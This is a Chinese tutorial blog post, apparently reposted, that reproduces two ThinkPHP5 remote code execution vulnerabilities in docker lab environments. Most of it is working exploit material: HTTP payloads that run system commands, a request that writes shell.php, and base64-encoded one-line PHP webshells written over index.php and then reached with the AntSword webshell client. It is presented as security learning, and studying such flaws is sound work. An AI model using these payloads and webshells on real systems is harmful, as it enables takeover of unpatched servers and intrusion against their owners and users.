ThinkPHP5系列远程代码执行漏洞复现(详细)

这篇具有很好参考价值的文章主要介绍了ThinkPHP5系列远程代码执行漏洞复现(详细)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一:5.0.23-rce版本漏洞复现

漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞。 漏洞危害

环境搭建

启动环境

切换到/thinkphp/5.0.23-rce# 目录下


vim docker-compose.yml 
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

将version改为2,保存并退出

接着执行


docker-compose up -d
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

此时环境搭建成功

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

漏洞复现

在网页上利用POST构造payload

(1)查看目录下的文件(ls)


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

(2)查看id


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

(3)查看当前目录


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

将上述代码改为phpinfo,发现是可以输出关于 PHP 配置的信息


_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

利用蚁剑工具getshell

由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功

我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式

利用 echo “” >index.php 进行测试

为了显示我们成功注入,我们在其中添加字段变为

echo “aaabbb” >index.php

对引号内的进行base64,注意此时的引号不需要进行加密

经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入

所以

 文章来源地址https://www.toymoban.com/news/detail-518663.html

将aaa<?php @assert($_POST['xss']);?>bbb 进行base64编码

 

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

 


_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

成功回显出aaabbb,说明是加入到了index.php里了

开始用蚁剑,URL地址填写我们一句话木马的位置

注意要选择char16和base64

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

测试连接成功

可以看到我们刚才写入的一句话

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

 

二:5-rce版本漏洞复现(Thinkphp5 5.0.22/5.1.29)

环境搭建

 

启动环境

切换到/thinkphp/5-rce# 目录下

 


vim docker-compose.yml 
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

将version改为2,保存并退出

接着执行


docker-compose up -d
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

此时环境以成功搭建

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

漏洞复现

(1)输出关于 PHP 配置的信息


/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

(2)whoami


/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

(3)还可以将php代码写入文件


/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

接着访问shell.php

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

 

利用蚁剑工具getshell

由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功

我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式


aa<?php @eval($_REQUEST['attack']) ?>bb

将上面的一句话进行base64加密

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

将一句话写入index.php


/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo     -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > index.php
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

成功回显出aabb,说明是加入到了index.php里了

开始用蚁剑,URL地址填写我们一句话木马的位置

注意要选择char16和base64

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档
thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

测试连接成功

可以看到我们刚才写入的一句话

thinkphp远程命令执行漏洞,网络安全,php,服务器,Powered by 金山文档

此时复现圆满完成~

 

到了这里,关于ThinkPHP5系列远程代码执行漏洞复现(详细)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ThinkPHP5.0.21远程命令执行漏洞

    漏洞出现的背景 : ThinkPHP是⼀款运⽤极⼴的PHP开发框架。 其5.0.23以前的版本中,获取method的⽅法中没有正确处理⽅法名, 导致攻击者可以调⽤Request类任意⽅法并构造利⽤链,从⽽导致远程代码执⾏漏洞。 由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测,导致在没有开

    2024年02月04日
    浏览(47)
  • Thinkphp5.x全漏洞复现分析

    我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,举个例子: 当有多个子命名空间有相同名称类时,不指定使用哪个命名空间的情况下取最后定义的命名空间中的类,比如上面的 dog 取的时 dogC 中的类,在

    2024年04月22日
    浏览(46)
  • Http.sys远程代码执行漏洞复现

    Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求,导致远程代码执行漏洞。成功利用此漏洞后,攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中,攻击者也可以远程导致操作系统蓝屏。此次受影响的

    2023年04月26日
    浏览(56)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(46)
  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里

    2024年02月08日
    浏览(39)
  • 漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令,紧随账号

    2024年02月16日
    浏览(54)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(50)
  • PhpMyAdmin远程执行代码漏洞复现 (CVE-2016-5734)

    0x01 漏洞介绍 phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 中存在安全漏洞,该漏洞源于程序没有正确选择分隔符来避免使用 preg_replace e 修饰符。 可借助特

    2024年02月11日
    浏览(41)
  • CVE-2019-11043(PHP远程代码执行漏洞)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-11043(PHP远程代码执行漏洞)复现。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! CVE-2019-11043漏

    2024年02月06日
    浏览(54)
  • [漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

    拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。 Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试

    2024年02月16日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包